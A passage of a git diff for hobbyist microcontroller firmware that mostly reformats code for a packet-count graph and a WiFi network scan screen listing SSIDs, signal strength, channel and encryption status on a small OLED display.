uint16_t pktCount = sniffer.packetCounter; + uint16_t pktCount = sniffer.packetCounter; - uint8_t scaled = pktCount * 2; - uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); + uint8_t scaled = pktCount * 2; + uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); - updateGraph(value); - drawGraph(pktCount); + updateGraph(value); + drawGraph(pktCount); - sniffer.packetCounter = 0; - } + sniffer.packetCounter = 0; + } - // optional: small debounce to not hammer CPU - if (millis() - lastPress < 10) - return; + // optional: small debounce to not hammer CPU + if (millis() - lastPress < 10) + return; } diff --git a/src/wifi/wifi_scan.cpp b/src/wifi/wifi_scan.cpp index 9dabe8f..39bbcfa 100644 --- a/src/wifi/wifi_scan.cpp +++ b/src/wifi/wifi_scan.cpp @@ -1,15 +1,15 @@ -#include -#include #include "../ui/display.h" #include "../utils/buttons.h" +#include +#include #define MAX_NETWORKS 30 struct WiFiNet { - String ssid; - int rssi; - int channel; - bool encrypted; + String ssid; + int rssi; + int channel; + bool encrypted; }; static WiFiNet networks[MAX_NETWORKS]; @@ -17,136 +17,123 @@ static int networkCount = 0; static int selectedIndex = 0; // ===== SCAN ===== -void wifi_scan_start() -{ - u8g2.clearBuffer(); - u8g2.drawStr(10, 30, "Scanning WiFi..."); - u8g2.sendBuffer(); +void wifi_scan_start() { + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning WiFi..."); + u8g2.sendBuffer(); - WiFi.mode(WIFI_STA); - WiFi.disconnect(); + WiFi.mode(WIFI_STA); + WiFi.disconnect(); - delay(100); + delay(100); - int n = WiFi.scanNetworks(); + int n = WiFi.scanNetworks(); - networkCount = min(n, MAX_NETWORKS); + networkCount = min(n, MAX_NETWORKS); - for (int i = 0; i < networkCount; i++) - { - networks[i].ssid = WiFi.SSID(i); - networks[i].rssi = WiFi.RSSI(i); - networks[i].channel = WiFi.channel(i); - networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); - } + for (int i = 0; i < networkCount; i++) { + networks[i].ssid = WiFi.SSID(i); + networks[i].rssi = WiFi.RSSI(i); + networks[i].channel = WiFi.channel(i); + networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); + } - selectedIndex = 0; + selectedIndex = 0; } // ===== DRAW ===== -void wifi_scan_draw() -{ - u8g2.clearBuffer(); +void wifi_scan_draw() { + u8g2.clearBuffer(); - if (networkCount == 0) - { - u8g2.drawStr(0, 30, "No networks"); - u8g2.drawStr(0, 45, "Press BACK"); + if (networkCount == 0) { + u8g2.drawStr(0, 30, "No networks"); + u8g2.drawStr(0, 45, "Press BACK"); + } else { + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) { + int idx = selectedIndex + i; + if (idx >= networkCount) + break; + + int y = 22 + i * 14; + + if (i == 0) { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = networks[idx].ssid; + if (text.length() > 10) + text = text.substring(0, 10) + ".."; + + text += " (" + String(networks[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); } - else - { - char counter[20]; - sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); - u8g2.setFont(u8g2_font_5x8_tr); - u8g2.drawStr(0, 8, counter); + } - u8g2.setFont(u8g2_font_6x10_tr); - - for (int i = 0; i < 3; i++) - { - int idx = selectedIndex + i; - if (idx >= networkCount) break; - - int y = 22 + i * 14; - - if (i == 0) - { - u8g2.drawBox(0, y - 10, 128, 12); - u8g2.setDrawColor(0); - } - - String text = networks[idx].ssid; - if (text.length() > 10) - text = text.substring(0, 10) + ".."; - - text += " (" + String(networks[idx].rssi) + ")"; - - u8g2.drawStr(2, y, text.c_str()); - - if (i == 0) - u8g2.setDrawColor(1); - } - } - - u8g2.sendBuffer(); + u8g2.sendBuffer(); } // ===== DETAILS ===== -void wifi_drawDetails() -{ - if (networkCount == 0) return; +void wifi_drawDetails() { + if (networkCount == 0) + return; - WiFiNet &net = networks[selectedIndex]; + WiFiNet &net = networks[selectedIndex]; - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); - u8g2.drawStr(0, 10, net.ssid.c_str()); + u8g2.drawStr(0, 10, net.ssid.c_str()); - char rssi[20]; - sprintf(rssi, "RSSI: %d", net.rssi); - u8g2.drawStr(0, 20, rssi); + char rssi[20]; + sprintf(rssi, "RSSI: %d", net.rssi); + u8g2.drawStr(0, 20, rssi); - char ch[20]; - sprintf(ch, "CH: %d", net.channel); - u8g2.drawStr(0, 30, ch); + char ch[20]; + sprintf(ch, "CH: %d", net.channel); + u8g2.drawStr(0, 30, ch); - u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); + u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); - u8g2.sendBuffer(); + u8g2.sendBuffer(); } // ===== LOOP ===== -void wifi_scan_loop() -{ - static uint32_t lastPress = 0; +void wifi_scan_loop() { + static uint32_t lastPress = 0; - if (millis() - lastPress < 150) - return; + if (millis() - lastPress < 150) + return; - if (btnDown() && selectedIndex < networkCount - 1) - { - selectedIndex++; - wifi_scan_draw(); - lastPress = millis(); - } - else if (btnUp() && selectedIndex > 0) - { - selectedIndex--; - wifi_scan_draw(); - lastPress = millis(); - } - else if (btnSelect() && networkCount > 0) - { - wifi_drawDetails(); - delay(3000); - wifi_scan_draw(); - lastPress = millis(); - } -// else if (btnBack()) -// { -// wifi_scan_start(); -// wifi_scan_draw(); -// lastPress = millis(); -// } + if (btnDown() && selectedIndex < networkCount - 1) { + selectedIndex++; + wifi_scan_draw(); + lastPress = millis(); + } else if (btnUp() && selectedIndex > 0) { + selectedIndex--; + wifi_scan_draw(); + lastPress = millis(); + } else if (btnSelect() && networkCount > 0) { + wifi_drawDetails(); + delay(3000); + wifi_scan_draw(); + lastPress = millis(); + } + // else if (btnBack()) + // { + // wifi_scan_start(); + // wifi_scan_draw(); + // lastPress = millis(); + // } }